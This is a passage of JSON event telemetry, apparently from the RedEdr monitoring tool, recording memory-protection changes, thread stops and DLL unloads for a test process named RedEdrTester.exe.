type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":108,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973910254,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C5E0","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"64","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"32","RegionSize":"0x0000025BA365CB30","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":109,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973910267,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C9A0","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"64","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"128","RegionSize":"0x0000025BA365C8B0","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":110,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973910279,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365CB30","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"64","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"128","RegionSize":"0x0000025BA365C7C0","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":111,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973910292,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C630","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"64","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"128","RegionSize":"0x0000025BA365C5E0","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":112,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973910304,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C900","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"64","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"128","RegionSize":"0x0000025BA365C810","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":113,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973910316,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C9F0","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"64","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"32","RegionSize":"0x0000025BA365C9A0","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":114,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973910328,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C810","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"64","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"32","RegionSize":"0x0000025BA365C8B0","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":115,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973910344,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C9A0","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"64","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"32","RegionSize":"0x0000025BA365C900","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":116,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973910355,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C4A0","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"64","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"32","RegionSize":"0x0000025BA365C950","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":117,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973910372,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C540","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"64","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"32","RegionSize":"0x0000025BA365C900","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":118,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973910413,"trace_id":41,"type":"etw"},{"callback":"thread_create","create":0,"id":119,"krn_pid":1208,"pid":1208,"threadid":11092,"time":133791868989812038,"trace_id":41,"type":"kernel"},{"callback":"thread_create","create":0,"id":120,"krn_pid":1208,"pid":1208,"threadid":6916,"time":133791868989812038,"trace_id":41,"type":"kernel"},{"callback":"thread_create","create":0,"id":121,"krn_pid":1208,"pid":1208,"threadid":3196,"time":133791868989812038,"trace_id":41,"type":"kernel"},{"callback":"thread_create","create":0,"id":122,"krn_pid":1208,"pid":1208,"threadid":5680,"time":133791868989812038,"trace_id":41,"type":"kernel"},{"CycleTime":"181056096","ProcessID":"1208","StackBase":"FFFF8185AAC62000","StackLimit":"FFFF8185AAC5C000","StartAddr":"00007FF7711C4616","SubProcessTag":"0","TebBase":"0000009FD88D8000","ThreadID":"6916","UserStackBase":"0000009FD8B00000","UserStackLimit":"0000009FD8AF6000","Win32StartAddr":"00007FF7711C4616","event":"ThreadStopStop ","id":123,"opcode_id":2,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283797242684,18446735283801644436,18446735283801643055,18446735283801352931,18446735283801347736,18446735283796947549,18446735283798949776,18446735283799009711],"thread_id":6916,"time":133791868989812926,"trace_id":41,"type":"etw"},{"CycleTime":"287100","ProcessID":"1208","StackBase":"FFFF8185AAC77000","StackLimit":"FFFF8185AAC71000","StartAddr":"00007FFC8513D110","SubProcessTag":"0","TebBase":"0000009FD88DA000","ThreadID":"11092","UserStackBase":"0000009FD8C00000","UserStackLimit":"0000009FD8BFF000","Win32StartAddr":"00007FFC8513D110","event":"ThreadStopStop ","id":124,"opcode_id":2,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283797242684,18446735283801644436,18446735283801643055,18446735283801352931,18446735283801347736,18446735283796947549,18446735283798949776,18446735283799009711],"thread_id":11092,"time":133791868989812928,"trace_id":41,"type":"etw"},{"CycleTime":"107316","ProcessID":"1208","StackBase":"FFFF8185AAC8C000","StackLimit":"FFFF8185AAC86000","StartAddr":"00007FFC8513D110","SubProcessTag":"0","TebBase":"0000009FD88DC000","ThreadID":"3196","UserStackBase":"0000009FD8D00000","UserStackLimit":"0000009FD8CFF000","Win32StartAddr":"00007FFC8513D110","event":"ThreadStopStop ","id":125,"opcode_id":2,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283797242684,18446735283801644436,18446735283801643055,18446735283801352931,18446735283801347736,18446735283796947549,18446735283798949776,18446735283799009711],"thread_id":3196,"time":133791868989813773,"trace_id":41,"type":"etw"},{"CycleTime":"2887740","ProcessID":"1208","StackBase":"FFFF8185AC7B9000","StackLimit":"FFFF8185AC7B3000","StartAddr":"0000023F29030000","SubProcessTag":"0","TebBase":"0000009FD88DE000","ThreadID":"5680","UserStackBase":"0000009FD8E00000","UserStackLimit":"0000009FD8DF7000","Win32StartAddr":"0000023F29030000","event":"ThreadStopStop ","id":126,"opcode_id":2,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283797242684,18446735283801644436,18446735283801643055,18446735283801352931,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989814117,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FF771160000","ImageBase":"00007FF771160000","ImageCheckSum":"0","ImageName":"\\Device\\HarddiskVolume2\\Users\\hacker\\source\\repos\\RedEdr\\x64\\Debug\\RedEdrTester.exe","ImageSize":"000000000018E000","ProcessID":"1208","TimeDateStamp":"1734703906","event":"ImageUnloadInfo ","id":127,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989814755,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC628D0000","ImageBase":"00007FFC628D0000","ImageCheckSum":"2249853","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\ucrtbased.dll","ImageSize":"0000000000222000","ProcessID":"1208","TimeDateStamp":"3642813796","event":"ImageUnloadInfo ","id":128,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989814891,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC62B00000","ImageBase":"00007FFC62B00000","ImageCheckSum":"929031","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\msvcp140d.dll","ImageSize":"00000000000E2000","ProcessID":"1208","TimeDateStamp":"4270244042","event":"ImageUnloadInfo ","id":129,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989814978,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC630A0000","ImageBase":"00007FFC630A0000","ImageCheckSum":"0","ImageName":"\\Device\\HarddiskVolume2\\RedEdr\\RedEdrDll.dll","ImageSize":"0000000000082000","ProcessID":"1208","TimeDateStamp":"1734697896","event":"ImageUnloadInfo ","id":130,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989815067,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC73E50000","ImageBase":"00007FFC73E50000","ImageCheckSum":"1883635","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\dbghelp.dll","ImageSize":"00000000001E4000","ProcessID":"1208","TimeDateStamp":"2592498981","event":"ImageUnloadInfo ","id":131,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989815129,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC77340000","ImageBase":"00007FFC77340000","ImageCheckSum":"215677","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\vcruntime140d.dll","ImageSize":"000000000002B000","ProcessID":"1208","TimeDateStamp":"3390545094","event":"ImageUnloadInfo ","id":132,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989815203,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC7DD50000","ImageBase":"00007FFC7DD50000","ImageCheckSum":"124685","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\vcruntime140_1d.dll","ImageSize":"000000000000F000","ProcessID":"1208","TimeDateStamp":"743278547","event":"ImageUnloadInfo ","id":133,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989815284,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC82800000","ImageBase":"00007FFC82800000","ImageCheckSum":"3204207","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\KernelBase.dll","ImageSize":"00000000002FE000","ProcessID":"1208","TimeDateStamp":"3522100337","event":"ImageUnloadInfo ","id":134,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989815348,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC82B00000","ImageBase":"00007FFC82B00000","ImageCheckSum":"1180473","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\gdi32full.dll","ImageSize":"0000000000117000","ProcessID":"1208","TimeDateStamp":"576863693","event":"ImageUnloadInfo ","id":135,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989815408,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC82C20000","ImageBase":"00007FFC82C20000","ImageCheckSum":"199345","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\bcrypt.dll","ImageSize":"0000000000027000","ProcessID":"1208","TimeDateStamp":"2535700803","event":"ImageUnloadInfo ","id":136,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989815463,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC82C50000","ImageBase":"00007FFC82C50000","ImageCheckSum":"1076532","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\ucrtbase.dll","ImageSize":"0000000000100000","ProcessID":"1208","TimeDateStamp":"2177850761","event":"ImageUnloadInfo ","id":137,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989815520,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC82F60000","ImageBase":"00007FFC82F60000","ImageCheckSum":"531569","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\bcryptprimitives.dll","ImageSize":"0000000000082000","ProcessID":"1208","TimeDateStamp":"3309379821","event":"ImageUnloadInfo ","id":138,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989815580,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC82FF0000","ImageBase":"00007FFC82FF0000","ImageCheckSum":"137991","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\win32u.dll","ImageSize":"0000000000022000","ProcessID":"1208","TimeDateStamp":"3336608826","event":"ImageUnloadInfo ","id":139,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989815638,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC83070000","ImageBase":"00007FFC83070000","ImageCheckSum":"659111","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\msvcp_win.dll","ImageSize":"000000000009D000","ProcessID":"1208","TimeDateStamp":"958749903","event":"ImageUnloadInfo ","id":140,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989815696,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC83190000","ImageBase":"00007FFC83190000","ImageCheckSum":"811940","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\kernel32.dll","ImageSize":"00000000000C2000","ProcessID":"1208","TimeDateStamp":"2273328705","event":"ImageUnloadInfo ","id":141,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989815751,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC833E0000","ImageBase":"00007FFC833E0000","ImageCheckSum":"218727","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\gdi32.dll","ImageSize":"000000000002B000","ProcessID":"1208","TimeDateStamp":"3634633287","event":"ImageUnloadInfo ","id":142,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989815806,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC83410000","ImageBase":"00007FFC83410000","ImageCheckSum":"1244603","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\rpcrt4.dll","ImageSize":"0000000000123000","ProcessID":"1208","TimeDateStamp":"2016036219","event":"ImageUnloadInfo ","id":143,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989815860,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC83B50000","ImageBase":"00007FFC83B50000","ImageCheckSum":"766771","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\advapi32.dll","ImageSize":"00000000000B1000","ProcessID":"1208","TimeDateStamp":"187986496","event":"ImageUnloadInfo ","id":144,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989815915,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC83D40000","ImageBase":"00007FFC83D40000","ImageCheckSum":"681663","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\msvcrt.dll","ImageSize":"000000000009E000","ProcessID":"1208","TimeDateStamp":"2616593924","event":"ImageUnloadInfo ","id":145,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989815968,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC83DE0000","ImageBase":"00007FFC83DE0000","ImageCheckSum":"244437","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\imm32.dll","ImageSize":"000000000002F000","ProcessID":"1208","TimeDateStamp":"3510600902","event":"ImageUnloadInfo ","id":146,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989816028,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC84650000","ImageBase":"00007FFC84650000","ImageCheckSum":"673563","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\sechost.dll","ImageSize":"000000000009F000","ProcessID":"1208","TimeDateStamp":"1942365337","event":"ImageUnloadInfo ","id":147,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989816082,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC848D0000","ImageBase":"00007FFC848D0000","ImageCheckSum":"1221752","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\ole32.dll","ImageSize":"000000000012B000","ProcessID":"1208","TimeDateStamp":"610785574","event":"ImageUnloadInfo ","id":148,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989816147,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC84A00000","ImageBase":"00007FFC84A00000","ImageCheckSum":"1745311","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\user32.dll","ImageSize":"000000000019D000","ProcessID":"1208","TimeDateStamp":"4291603748","event":"ImageUnloadInfo ","id":149,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],"thread_id":5680,"time":133791868989816201,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC84D50000","ImageBase":"00007FFC84D50000","ImageCheckSum":"3511252","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\combase.dll","ImageSize":"0000000000353000","ProcessID":"1208","TimeDateStamp":"3888075817","event":"ImageUnloadInfo 